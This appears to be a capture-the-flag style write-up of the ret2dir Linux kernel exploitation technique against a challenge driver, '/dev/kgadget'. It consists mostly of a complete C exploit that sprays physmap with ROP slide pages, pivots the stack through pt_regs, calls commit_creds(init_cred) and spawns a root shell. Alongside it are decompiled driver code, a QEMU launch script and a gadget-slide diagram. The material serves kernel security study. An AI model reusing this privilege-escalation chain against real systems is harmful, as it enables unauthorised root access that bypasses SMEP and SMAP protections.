ret2dir¶

ffff888000000000 | -119.5  TB | ffffc87fffffffff |   64 TB | direct mapping of all physical memory (page_offset_base)

__int64 __fastcall kgadget_ioctl(file *__file, unsigned int cmd, unsigned __int64 param)
{
  __int64 *v3; // rdx
  __int64 v4; // rsi
  __int64 result; // rax

  _fentry__(__file, cmd, param);
  if ( cmd == 114514 )
  {
    v4 = *v3;
    printk(&unk_370);
    printk(&unk_3A0);
    qmemcpy(
      (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
      "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
      48);
    *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;
    printk(&unk_3F8);
    _x86_indirect_thunk_rbx(&unk_3F8, v4);
    result = 0LL;
  }
  else
  {
    printk(&unk_420);
    result = -1LL;
  }
  return result;
}

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -smp cores=2,threads=2 \
    -kernel bzImage \
    -initrd ./rootfs.cpio \
    -nographic \
    -monitor /dev/null \
    -snapshot \
    -append "console=ttyS0 nokaslr pti=on quiet oops=panic panic=1" \
    -no-reboot

    qmemcpy(
      (void *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 168),
      "arttnba3arttnba3arttnba3arttnba3arttnba3arttnba3",
      48);
    *(_QWORD *)(((unsigned __int64)&STACK[0x1000] & 0xFFFFFFFFFFFFF000LL) - 112) = 0x3361626E74747261LL;

------------------------
add rsp, val ; ret 
add rsp, val ; ret 
add rsp, val ; ret 
add rsp, val ; ret
...
add rsp, val ; ret # 該gadget必定會命中下一個區域中的一條ret，之後便能平緩地“滑”到常規的提權 rop 上
------------------------
ret
ret
...
ret
------------------------
common root ROP chain
------------------------

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

size_t  prepare_kernel_cred = 0xffffffff810c9540;
size_t  commit_creds = 0xffffffff810c92e0;
size_t  init_cred = 0xffffffff82a6b700;
size_t  pop_rdi_ret = 0xffffffff8108c6f0;
size_t  pop_rax_ret = 0xffffffff810115d4;
size_t  pop_rsp_ret = 0xffffffff811483d0;
size_t  swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00fb0 + 27;
size_t  add_rsp_0xe8_pop_rbx_pop_rbp_ret = 0xffffffff812bd353;
size_t  add_rsp_0xd8_pop_rbx_pop_rbp_ret = 0xffffffff810e7a54;
size_t  add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff810737fe;
size_t  ret = 0xffffffff8108c6f1;

void    (*kgadget_ptr)(void);
size_t  *physmap_spray_arr[16000];
size_t  page_size;
size_t     try_hit;
int     dev_fd;

size_t user_cs, user_ss, user_rflags, user_sp;

void saveStatus(void)
{
    __asm__("mov user_cs, cs;"
            "mov user_ss, ss;"
            "mov user_sp, rsp;"
            "pushf;"
            "pop user_rflags;"
            );
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void errExit(char * msg)
{
    printf("\033[31m\033[1m[x] Error : \033[0m%s\n", msg);
    exit(EXIT_FAILURE);
}

void getRootShell(void)
{   
    puts("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m");

    if(getuid())
    {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        exit(-1);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m");
    system("/bin/sh");
    exit(0);// to exit the process normally instead of segmentation fault
}

void constructROPChain(size_t *rop)
{
    int idx = 0;

    // gadget to trigger pt_regs and for slide
    for (; idx < (page_size / 8 - 0x30); idx++)
        rop[idx] = add_rsp_0xa0_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;

    // more normal slide code
    for (; idx < (page_size / 8 - 0x10); idx++)
        rop[idx] = ret;

    // rop chain
    rop[idx++] = pop_rdi_ret;
    rop[idx++] = init_cred;
    rop[idx++] = commit_creds;
    rop[idx++] = swapgs_restore_regs_and_return_to_usermode;
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = *(size_t*) "arttnba3";
    rop[idx++] = (size_t) getRootShell;
    rop[idx++] = user_cs;
    rop[idx++] = user_rflags;
    rop[idx++] = user_sp;
    rop[idx++] = user_ss;
}

int main(int argc, char **argv, char **envp)
{
    saveStatus();

    dev_fd = open("/dev/kgadget", O_RDWR);
    if (dev_fd < 0)
        errExit("dev fd!");

    page_size = sysconf(_SC_PAGESIZE);

    // construct per-page rop chain
    physmap_spray_arr[0] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    constructROPChain(physmap_spray_arr[0]);

    // spray physmap, so that we can easily hit one of them
    puts("[*] Spraying physmap...");
    for (int i = 1; i < 15000; i++)
    {
        physmap_spray_arr[i] = mmap(NULL, page_size, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (!physmap_spray_arr[i])
            errExit("oom for physmap spray!");
        memcpy(physmap_spray_arr[i], physmap_spray_arr[0], page_size);
    }

    puts("[*] trigger physmap one_gadget...");
    //sleep(5);

    try_hit = 0xffff888000000000 + 0x7000000;
    __asm__(
        "mov r15,   0xbeefdead;"
        "mov r14,   0x11111111;"
        "mov r13,   0x22222222;"
        "mov r12,   0x33333333;"
        "mov rbp,   0x44444444;"
        "mov rbx,   0x55555555;"
        "mov r11,   0x66666666;"
        "mov r10,   0x77777777;"
        "mov r9,    pop_rsp_ret;"   // stack migration again
        "mov r8,    try_hit;"
        "mov rax,   0x10;"
        "mov rcx,   0xaaaaaaaa;"
        "mov rdx,   try_hit;"
        "mov rsi,   0x1bf52;"
        "mov rdi,   dev_fd;"
        "syscall"
    );
}